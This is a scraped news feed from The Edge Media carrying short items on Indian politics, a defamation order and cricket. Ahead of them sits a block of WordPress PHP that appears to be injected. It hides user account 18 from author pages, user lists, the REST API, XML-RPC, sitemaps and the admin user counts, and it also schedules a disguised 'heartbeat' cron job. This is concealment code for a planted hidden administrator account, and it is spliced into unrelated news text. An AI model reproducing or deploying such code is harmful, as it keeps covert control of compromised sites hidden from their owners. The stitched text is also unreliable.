add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Navjot Sidhu tells Amarinder Singh that the last time he founded his own political party, he lost the election with only 856 votes appeared first on The Edge Media.
]]>
In one of his tweets, Sidhu said: “We the 78 MLAs of Congress, could never imagine, what we received and arm-twisted, ED controlled BJP loyal Chief Minister of Punjab…who sold the interest of Punjab to save his skin! You were the negative force stalling Justice & development of Punjab.”
In another tweet, Sidhu said: “You wanted to close doors on me, as I was raising voice of the People, speaking truth to power! Last time you formed your own party, you lost your ballot, garnering only 856 votes…People of Punjab are again waiting to punish you for compromising on the interests of Punjab !!”
The post Navjot Sidhu tells Amarinder Singh that the last time he founded his own political party, he lost the election with only 856 votes appeared first on The Edge Media.
]]>The post Priyanka Gandhi tweets a video of an SUV ploughing over farmers in Lakhimpur and asks Prime Minister Narendra Modi, “Have you seen this?” appeared first on The Edge Media.
]]>
Posing questions to the prime minister, Gandhi who was detained on Monday asked: “Have you seen this video? (She held a mobile phone showing a jeep running over a group of farmers, which Gandhi claimed is from Lakhimpur Kheri) Why hasn’t this man been arrested? Leaders like us who want to visit Lakhimpur Kheri have been put under custody without any FIR, I want to know why this man is free?”
The post Priyanka Gandhi tweets a video of an SUV ploughing over farmers in Lakhimpur and asks Prime Minister Narendra Modi, “Have you seen this?” appeared first on The Edge Media.
]]>The post Fans lauds Shardul Thakur as “Lord” Shardul appeared first on The Edge Media.
]]>Shardul’s making a habit of bailing India out of tough situations with the bat in hand. He had notched a maiden Test half-century during the Gabba Test, and that knock proved crucial to India’s cause in the end.
So, it’s no surprise that fans have christened him “Lord” Shardul Thakur thanks to his batting heroics.
The post Fans lauds Shardul Thakur as “Lord” Shardul appeared first on The Edge Media.
]]>The post Pakistan PM trolled on his statement regarding India’s 1 billion and 300 crore population. appeared first on The Edge Media.
]]>Imran khan said, “New zealand with a population of 40-50 lakh defeated India with a population of 1 billion and 300 crore in the World Test Championship final.”
To set the record straight , India has a population of around 136 crore or 1.3 billion.
Imran Khan made the gaffe while addressing the public . The video of the Pakistan Prime Minister’s latest Faux pas has gone viral now.
His video of drawing an analogy with the world population and test cricket has bought in a number of trolls online.
The post Pakistan PM trolled on his statement regarding India’s 1 billion and 300 crore population. appeared first on The Edge Media.
]]>The post Court orders activist to delete Tweets against minister Hardeep Puri’s wife. appeared first on The Edge Media.
]]>If Mr Gokhale fails to follow the court’s order within 24 hours, Justice C Hari Shankar said, Twitter will take down the posts.
The court also asked Ms Puri, a former Assistant Secretary- General at the United Nations to “implad Twitter as a party to the proceedings.”
The court passed the order on a defamation suit filed by Lakshmi Puri , seeking Rs.5 crore as damages from Mr Gokhale and a direction that he remove the tweets.
The post Court orders activist to delete Tweets against minister Hardeep Puri’s wife. appeared first on The Edge Media.
]]>The post Twitter Withheld Various Tweets About The Assualt On The Muslim Man In Gaziabad appeared first on The Edge Media.
]]>Later, in a Facebook live, Saifi said that the culprits gave him an auto ride, took him to a secluded location, and bashed him up while forcing him to recite “Jai Shri Ram.” According to authorities, the suspects beat him up because he sold them a ‘tabeez’ (amulet) that they thought didn’t function.
Twitter’s move follows an active probe by the UP Police into the social media platform’s suspected promotion of communal conflict.
The post Twitter Withheld Various Tweets About The Assualt On The Muslim Man In Gaziabad appeared first on The Edge Media.
]]>